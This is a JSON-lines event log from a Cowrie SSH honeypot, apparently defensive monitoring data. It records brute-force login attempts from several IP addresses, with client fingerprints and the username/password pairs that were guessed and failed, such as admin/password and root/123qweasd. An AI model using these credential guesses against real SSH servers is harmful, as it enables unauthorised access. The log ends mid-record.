{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:01.678828Z","src_ip":"43.163.119.215","session":"9fcaf605dfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:02.405847Z","src_ip":"103.75.199.4","session":"461e3e11f849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:02.463972Z","src_ip":"43.163.119.215","session":"9fcaf605dfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:03.704581Z","src_ip":"43.163.119.215","session":"9fcaf605dfdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37840,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe014f8bb5ff","protocol":"ssh","message":"New connection: 43.163.119.215:37840 (10.17.0.5:22) [session: fe014f8bb5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:06.902796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:06.908086Z","src_ip":"43.163.119.215","session":"fe014f8bb5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:07.160501Z","src_ip":"43.163.119.215","session":"fe014f8bb5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:07.897206Z","src_ip":"43.163.119.215","session":"fe014f8bb5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:09.144754Z","src_ip":"43.163.119.215","session":"fe014f8bb5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":38094,"dst_ip":"159.203.135.109","dst_port":22,"session":"1613567cca3a","protocol":"ssh","message":"New connection: 162.243.147.237:38094 (159.203.135.109:22) [session: 1613567cca3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:09.565462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:09.570231Z","src_ip":"162.243.147.237","session":"1613567cca3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:09.638615Z","src_ip":"162.243.147.237","session":"1613567cca3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:09.924927Z","src_ip":"162.243.147.237","session":"1613567cca3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":40182,"dst_ip":"10.17.0.5","dst_port":22,"session":"66eccd444a75","protocol":"ssh","message":"New connection: 94.154.34.232:40182 (10.17.0.5:22) [session: 66eccd444a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:10.037347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:10.065084Z","src_ip":"94.154.34.232","session":"66eccd444a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:10.215190Z","src_ip":"94.154.34.232","session":"66eccd444a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xhl2g06n","password":"rDsmrHIgoab9w+EfuqeP","message":"login attempt [xhl2g06n/rDsmrHIgoab9w+EfuqeP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:10.699096Z","src_ip":"94.154.34.232","session":"66eccd444a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:10.990816Z","src_ip":"162.243.147.237","session":"1613567cca3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:11.825060Z","src_ip":"94.154.34.232","session":"66eccd444a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":50832,"dst_ip":"10.17.0.5","dst_port":22,"session":"e145994ca601","protocol":"ssh","message":"New connection: 43.163.119.215:50832 (10.17.0.5:22) [session: e145994ca601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:15.181545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:15.186503Z","src_ip":"43.163.119.215","session":"e145994ca601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:15.424616Z","src_ip":"43.163.119.215","session":"e145994ca601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:16.139583Z","src_ip":"43.163.119.215","session":"e145994ca601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:17.380577Z","src_ip":"43.163.119.215","session":"e145994ca601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42548,"dst_ip":"159.203.135.109","dst_port":22,"session":"30ecc70d769f","protocol":"ssh","message":"New connection: 103.75.199.4:42548 (159.203.135.109:22) [session: 30ecc70d769f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:22.748896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:22.753410Z","src_ip":"103.75.199.4","session":"30ecc70d769f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:22.849484Z","src_ip":"103.75.199.4","session":"30ecc70d769f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:23.138516Z","src_ip":"103.75.199.4","session":"30ecc70d769f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:24.237186Z","src_ip":"103.75.199.4","session":"30ecc70d769f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":46184,"dst_ip":"159.203.135.109","dst_port":22,"session":"28267318e80e","protocol":"ssh","message":"New connection: 43.153.46.75:46184 (159.203.135.109:22) [session: 28267318e80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:24.580126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:24.588830Z","src_ip":"43.153.46.75","session":"28267318e80e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:24.656922Z","src_ip":"43.153.46.75","session":"28267318e80e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"renee","message":"login attempt [root/renee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:24.964027Z","src_ip":"43.153.46.75","session":"28267318e80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:26.035202Z","src_ip":"43.153.46.75","session":"28267318e80e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":34186,"dst_ip":"10.17.0.5","dst_port":22,"session":"63e488f0dcdd","protocol":"ssh","message":"New connection: 67.102.183.113:34186 (10.17.0.5:22) [session: 63e488f0dcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:31.653405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:31.658011Z","src_ip":"67.102.183.113","session":"63e488f0dcdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:31.728662Z","src_ip":"67.102.183.113","session":"63e488f0dcdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd","message":"login attempt [root/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:32.046048Z","src_ip":"67.102.183.113","session":"63e488f0dcdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:33.119083Z","src_ip":"67.102.183.113","session":"63e488f0dcdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42584,"dst_ip":"159.203.135.109","dst_port":22,"session":"42cbac997adf","protocol":"ssh","message":"New connection: 103.75.199.4:42584 (159.203.135.109:22) [session: 42cbac997adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:44.623465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:44.630716Z","src_ip":"103.75.199.4","session":"42cbac997adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 